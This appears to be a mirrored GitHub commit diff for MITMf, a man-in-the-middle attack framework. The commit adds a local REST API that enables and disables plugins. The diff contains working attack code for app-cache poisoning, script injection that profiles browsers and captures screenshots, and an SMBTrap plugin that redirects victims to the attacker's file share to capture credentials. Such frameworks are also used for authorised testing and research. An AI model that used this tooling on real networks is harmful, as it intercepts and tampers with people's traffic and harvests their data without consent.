mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 13:10:03 -07:00
Plugins can be enabled|disabled using RESTful API
This commit is contained in:
parent
b74fc33252
commit
f46c0e939e
10 changed files with 353 additions and 147 deletions
|
@ -3,7 +3,7 @@ MITMf V0.9.7
|
||||||
|
|
||||||
Framework for Man-In-The-Middle attacks
|
Framework for Man-In-The-Middle attacks
|
||||||
|
|
||||||
Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it
|
Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io
|
||||||
|
|
||||||
This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project.
|
This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project.
|
||||||
|
|
||||||
|
|
90
mitmf.py
90
mitmf.py
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
@ -31,6 +37,15 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
from core.utils import Banners, SystemConfig, shutdown
|
from core.utils import Banners, SystemConfig, shutdown
|
||||||
from plugins import *
|
from plugins import *
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
import multiprocessing, time, signal
|
||||||
|
from flask import Flask
|
||||||
|
from configobj import ConfigObj
|
||||||
|
import json
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
|
||||||
Banners().printBanner()
|
Banners().printBanner()
|
||||||
|
|
||||||
if os.geteuid() != 0:
|
if os.geteuid() != 0:
|
||||||
|
@ -128,6 +143,10 @@ for p in plugins:
|
||||||
#load only the plugins that have been called at the command line
|
#load only the plugins that have been called at the command line
|
||||||
if vars(args)[p.optname] is True:
|
if vars(args)[p.optname] is True:
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
pluginStatus['plugins'][p.optname]['status'] = "enabled"
|
||||||
|
pluginStatus.write()
|
||||||
|
|
||||||
print "|_ {} v{}".format(p.name, p.version)
|
print "|_ {} v{}".format(p.name, p.version)
|
||||||
if p.tree_info:
|
if p.tree_info:
|
||||||
for line in xrange(0, len(p.tree_info)):
|
for line in xrange(0, len(p.tree_info)):
|
||||||
|
@ -187,8 +206,77 @@ from core.servers.smb.SMBserver import SMBserver
|
||||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||||
SMBserver.getInstance().start()
|
SMBserver.getInstance().start()
|
||||||
|
|
||||||
|
'''
|
||||||
#start the reactor
|
#start the reactor
|
||||||
reactor.run()
|
reactor.run()
|
||||||
|
|
||||||
print "\n"
|
print "\n"
|
||||||
shutdown()
|
shutdown()
|
||||||
|
'''
|
||||||
|
|
||||||
|
# ------------------------------------
|
||||||
|
# @xtr4nge [enabled | disabled]
|
||||||
|
# ------------------------------------
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
@app.route("/getPlugins")
|
||||||
|
def getPlugins():
|
||||||
|
# Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf)
|
||||||
|
# example: http://127.0.0.1:9090/getPlugins
|
||||||
|
pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"}
|
||||||
|
|
||||||
|
data = {}
|
||||||
|
for item in pluginList:
|
||||||
|
data[item] = [pluginStatus['plugins'][item]['status']]
|
||||||
|
|
||||||
|
return json.dumps(data)
|
||||||
|
|
||||||
|
@app.route("/getPluginStatus/<plugin>")
|
||||||
|
def getPluginStatus(plugin):
|
||||||
|
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
|
||||||
|
return pluginStatus['plugins'][plugin]['status']
|
||||||
|
|
||||||
|
@app.route("/setPluginStatus/<plugin>/<status>")
|
||||||
|
def setPluginStatus(plugin, status):
|
||||||
|
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
|
||||||
|
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
|
||||||
|
if status == "1":
|
||||||
|
pluginStatus['plugins'][plugin]['status'] = "enabled"
|
||||||
|
pluginStatus.write()
|
||||||
|
elif status == "0":
|
||||||
|
pluginStatus['plugins'][plugin]['status'] = "disabled"
|
||||||
|
pluginStatus.write()
|
||||||
|
|
||||||
|
return getPluginStatus(plugin)
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def startFlask():
|
||||||
|
app.run(host='127.0.0.1', port=9090)
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def startCore():
|
||||||
|
#start the reactor
|
||||||
|
reactor.run()
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
try:
|
||||||
|
pool = {}
|
||||||
|
pool[0] = multiprocessing.Process(name="core", target=startCore)
|
||||||
|
pool[1] = multiprocessing.Process(name="api", target=startFlask)
|
||||||
|
pool[0].start()
|
||||||
|
pool[1].start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
shutdown()
|
||||||
|
pool[0].terminate()
|
||||||
|
pool[1].terminate()
|
||||||
|
except Exception as e:
|
||||||
|
print e
|
||||||
|
shutdown()
|
||||||
|
pool[0].terminate()
|
||||||
|
pool[1].terminate()
|
||||||
|
finally:
|
||||||
|
print "bye ;)"
|
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
import os.path
|
import os.path
|
||||||
|
@ -28,6 +34,8 @@ from datetime import date
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class AppCachePlugin(Plugin):
|
class AppCachePlugin(Plugin):
|
||||||
|
@ -37,6 +45,14 @@ class AppCachePlugin(Plugin):
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.mass_poisoned_browsers = []
|
self.mass_poisoned_browsers = []
|
||||||
|
@ -45,73 +61,73 @@ class AppCachePlugin(Plugin):
|
||||||
self.urlMonitor.setAppCachePoisoning()
|
self.urlMonitor.setAppCachePoisoning()
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
|
if self.getStatus():
|
||||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||||
|
|
||||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||||
url = request.client.uri
|
url = request.client.uri
|
||||||
req_headers = request.client.getAllHeaders()
|
req_headers = request.client.getAllHeaders()
|
||||||
headers = request.client.responseHeaders
|
headers = request.client.responseHeaders
|
||||||
ip = request.client.getClientIP()
|
ip = request.client.getClientIP()
|
||||||
|
|
||||||
#########################################################################
|
#########################################################################
|
||||||
|
|
||||||
if "enable_only_in_useragents" in self.app_config:
|
if "enable_only_in_useragents" in self.app_config:
|
||||||
regexp = self.app_config["enable_only_in_useragents"]
|
regexp = self.app_config["enable_only_in_useragents"]
|
||||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||||
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
|
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
|
||||||
return {'response': response, 'request': request, 'data': data}
|
return {'response': response, 'request': request, 'data': data}
|
||||||
|
|
||||||
urls = self.urlMonitor.getRedirectionSet(url)
|
urls = self.urlMonitor.getRedirectionSet(url)
|
||||||
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
|
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
|
||||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||||
|
|
||||||
if s is False:
|
if s is False:
|
||||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||||
return {'response': response, 'request': request, 'data': data}
|
return {'response': response, 'request': request, 'data': data}
|
||||||
|
|
||||||
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
|
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
|
||||||
p = self.getTemplatePrefix(s)
|
p = self.getTemplatePrefix(s)
|
||||||
|
|
||||||
if element == 'tamper':
|
if element == 'tamper':
|
||||||
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
|
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
|
||||||
if os.path.exists(p + '.replace'): # replace whole content
|
if os.path.exists(p + '.replace'): # replace whole content
|
||||||
f = open(p + '.replace','r')
|
f = open(p + '.replace','r')
|
||||||
data = self.decorate(f.read(), s)
|
data = self.decorate(f.read(), s)
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
elif os.path.exists(p + '.append'): # append file to body
|
elif os.path.exists(p + '.append'): # append file to body
|
||||||
f = open(p + '.append','r')
|
f = open(p + '.append','r')
|
||||||
appendix = self.decorate(f.read(), s)
|
appendix = self.decorate(f.read(), s)
|
||||||
f.close()
|
f.close()
|
||||||
# append to body
|
# append to body
|
||||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||||
|
|
||||||
# add manifest reference
|
# add manifest reference
|
||||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||||
|
|
||||||
elif element == "manifest":
|
elif element == "manifest":
|
||||||
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
|
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
|
||||||
data = self.getSpoofedManifest(url, s)
|
data = self.getSpoofedManifest(url, s)
|
||||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||||
|
|
||||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||||
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
|
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
|
||||||
if os.path.exists(p + '.replace'): # replace whole content
|
if os.path.exists(p + '.replace'): # replace whole content
|
||||||
f = open(p + '.replace','r')
|
f = open(p + '.replace','r')
|
||||||
data = self.decorate(f.read(), s)
|
data = self.decorate(f.read(), s)
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
elif os.path.exists(p + '.append'): # append file to body
|
elif os.path.exists(p + '.append'): # append file to body
|
||||||
f = open(p + '.append','r')
|
f = open(p + '.append','r')
|
||||||
appendix = self.decorate(f.read(), s)
|
appendix = self.decorate(f.read(), s)
|
||||||
f.close()
|
f.close()
|
||||||
# append to response body
|
# append to response body
|
||||||
data += appendix
|
data += appendix
|
||||||
|
|
||||||
self.cacheForFuture(headers)
|
self.cacheForFuture(headers)
|
||||||
self.removeDangerousHeaders(headers)
|
self.removeDangerousHeaders(headers)
|
||||||
return {'response': response, 'request': request, 'data': data}
|
return {'response': response, 'request': request, 'data': data}
|
||||||
|
|
||||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||||
browser_id = ip + req_headers.get("user-agent", "")
|
browser_id = ip + req_headers.get("user-agent", "")
|
||||||
|
|
|
@ -17,12 +17,21 @@
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class BrowserProfiler(Inject, Plugin):
|
class BrowserProfiler(Inject, Plugin):
|
||||||
|
@ -32,6 +41,14 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.output = {} # so other plugins can access the results
|
self.output = {} # so other plugins can access the results
|
||||||
|
|
||||||
|
@ -46,19 +63,20 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
return d
|
return d
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
#Handle the plugin output
|
if self.getStatus():
|
||||||
if 'clientprfl' in request.uri:
|
#Handle the plugin output
|
||||||
request.printPostData = False
|
if 'clientprfl' in request.uri:
|
||||||
|
request.printPostData = False
|
||||||
self.output = self.post2dict(request.postData)
|
|
||||||
self.output['ip'] = request.client.getClientIP()
|
self.output = self.post2dict(request.postData)
|
||||||
self.output['useragent'] = request.clientInfo
|
self.output['ip'] = request.client.getClientIP()
|
||||||
|
self.output['useragent'] = request.clientInfo
|
||||||
if self.output['plugin_list']:
|
|
||||||
self.output['plugin_list'] = self.output['plugin_list'].split(',')
|
if self.output['plugin_list']:
|
||||||
|
self.output['plugin_list'] = self.output['plugin_list'].split(',')
|
||||||
pretty_output = pformat(self.output)
|
|
||||||
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
|
pretty_output = pformat(self.output)
|
||||||
|
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
||||||
|
|
|
@ -18,9 +18,17 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[API] enabled|disabled by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class CacheKill(Plugin):
|
class CacheKill(Plugin):
|
||||||
|
@ -29,17 +37,27 @@ class CacheKill(Plugin):
|
||||||
desc = "Kills page caching by modifying headers"
|
desc = "Kills page caching by modifying headers"
|
||||||
version = "0.1"
|
version = "0.1"
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.bad_headers = ['if-none-match', 'if-modified-since']
|
self.bad_headers = ['if-none-match', 'if-modified-since']
|
||||||
|
|
||||||
def serverHeaders(self, response, request):
|
def serverHeaders(self, response, request):
|
||||||
'''Handles all response headers'''
|
'''Handles all response headers'''
|
||||||
response.headers['Expires'] = "0"
|
if self.getStatus():
|
||||||
response.headers['Cache-Control'] = "no-cache"
|
response.headers['Expires'] = "0"
|
||||||
|
response.headers['Cache-Control'] = "no-cache"
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
'''Handles outgoing request'''
|
'''Handles outgoing request'''
|
||||||
request.headers['pragma'] = 'no-cache'
|
if self.getStatus():
|
||||||
for header in self.bad_headers:
|
request.headers['pragma'] = 'no-cache'
|
||||||
if header in request.headers:
|
for header in self.bad_headers:
|
||||||
del request.headers[header]
|
if header in request.headers:
|
||||||
|
del request.headers[header]
|
|
@ -17,6 +17,7 @@
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
import random
|
import random
|
||||||
|
|
|
@ -21,6 +21,7 @@
|
||||||
"""
|
"""
|
||||||
|
|
||||||
Plugin by @rubenthijssen
|
Plugin by @rubenthijssen
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -32,6 +33,8 @@ from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class Replace(Plugin):
|
class Replace(Plugin):
|
||||||
|
@ -41,6 +44,14 @@ class Replace(Plugin):
|
||||||
version = "0.2"
|
version = "0.2"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
|
@ -49,25 +60,26 @@ class Replace(Plugin):
|
||||||
self.mime = "text/html"
|
self.mime = "text/html"
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
ip, hn, mime = self._get_req_info(response)
|
if self.getStatus():
|
||||||
|
ip, hn, mime = self._get_req_info(response)
|
||||||
if self._should_replace(ip, hn, mime):
|
|
||||||
|
if self._should_replace(ip, hn, mime):
|
||||||
# Did the user provide us with a regex file?
|
|
||||||
for rulename, regexs in self.config['Replace'].iteritems():
|
# Did the user provide us with a regex file?
|
||||||
for regex1,regex2 in regexs.iteritems():
|
for rulename, regexs in self.config['Replace'].iteritems():
|
||||||
if re.search(regex1, data):
|
for regex1,regex2 in regexs.iteritems():
|
||||||
try:
|
if re.search(regex1, data):
|
||||||
data = re.sub(regex1, regex2, data)
|
try:
|
||||||
|
data = re.sub(regex1, regex2, data)
|
||||||
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
|
|
||||||
except Exception:
|
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
|
||||||
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
|
except Exception:
|
||||||
|
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
|
||||||
self.ctable[ip] = time.time()
|
|
||||||
self.dtable[ip+hn] = True
|
self.ctable[ip] = time.time()
|
||||||
|
self.dtable[ip+hn] = True
|
||||||
return {'response': response, 'request': request, 'data': data}
|
|
||||||
|
return {'response': response, 'request': request, 'data': data}
|
||||||
|
|
||||||
def _should_replace(self, ip, hn, mime):
|
def _should_replace(self, ip, hn, mime):
|
||||||
return mime.find(self.mime) != -1
|
return mime.find(self.mime) != -1
|
||||||
|
|
|
@ -1,9 +1,17 @@
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class SMBTrap(Plugin):
|
class SMBTrap(Plugin):
|
||||||
|
@ -13,12 +21,22 @@ class SMBTrap(Plugin):
|
||||||
version = "1.0"
|
version = "1.0"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.ourip = SystemConfig.getIP(options.interface)
|
self.ourip = SystemConfig.getIP(options.interface)
|
||||||
|
|
||||||
def serverResponseStatus(self, request, version, code, message):
|
def serverResponseStatus(self, request, version, code, message):
|
||||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
if self.getStatus():
|
||||||
|
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||||
|
|
||||||
def serverHeaders(self, response, request):
|
def serverHeaders(self, response, request):
|
||||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
if self.getStatus():
|
||||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||||
|
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
||||||
|
|
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import base64
|
import base64
|
||||||
import urllib
|
import urllib
|
||||||
|
@ -27,6 +33,8 @@ from datetime import datetime
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class ScreenShotter(Inject, Plugin):
|
class ScreenShotter(Inject, Plugin):
|
||||||
|
@ -36,24 +44,33 @@ class ScreenShotter(Inject, Plugin):
|
||||||
ver = '0.1'
|
ver = '0.1'
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.interval = 10 or options.interval
|
self.interval = 10 or options.interval
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
if 'saveshot' in request.uri:
|
if self.getStatus():
|
||||||
request.printPostData = False
|
if 'saveshot' in request.uri:
|
||||||
client = request.client.getClientIP()
|
request.printPostData = False
|
||||||
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
client = request.client.getClientIP()
|
||||||
try:
|
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||||
with open('./logs/' + img_file, 'wb') as img:
|
try:
|
||||||
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
with open('./logs/' + img_file, 'wb') as img:
|
||||||
img.close()
|
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||||
|
img.close()
|
||||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
|
||||||
except Exception as e:
|
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
||||||
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
except Exception as e:
|
||||||
|
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||||
|
|
|
@ -18,11 +18,19 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from cStringIO import StringIO
|
from cStringIO import StringIO
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from PIL import Image, ImageFile
|
from PIL import Image, ImageFile
|
||||||
|
|
||||||
|
from configobj import ConfigObj
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class Upsidedownternet(Plugin):
|
class Upsidedownternet(Plugin):
|
||||||
|
@ -32,6 +40,14 @@ class Upsidedownternet(Plugin):
|
||||||
version = "0.1"
|
version = "0.1"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
|
# @xtr4nge
|
||||||
|
def getStatus(self):
|
||||||
|
self.pluginStatus = ConfigObj("config/plugins.conf")
|
||||||
|
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
globals()['Image'] = Image
|
globals()['Image'] = Image
|
||||||
globals()['ImageFile'] = ImageFile
|
globals()['ImageFile'] = ImageFile
|
||||||
|
@ -39,31 +55,33 @@ class Upsidedownternet(Plugin):
|
||||||
|
|
||||||
def serverHeaders(self, response, request):
|
def serverHeaders(self, response, request):
|
||||||
'''Kill the image skipping that's in place for speed reasons'''
|
'''Kill the image skipping that's in place for speed reasons'''
|
||||||
if request.isImageRequest:
|
if self.getStatus():
|
||||||
request.isImageRequest = False
|
if request.isImageRequest:
|
||||||
request.isImage = True
|
request.isImageRequest = False
|
||||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
request.isImage = True
|
||||||
|
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||||
|
|
||||||
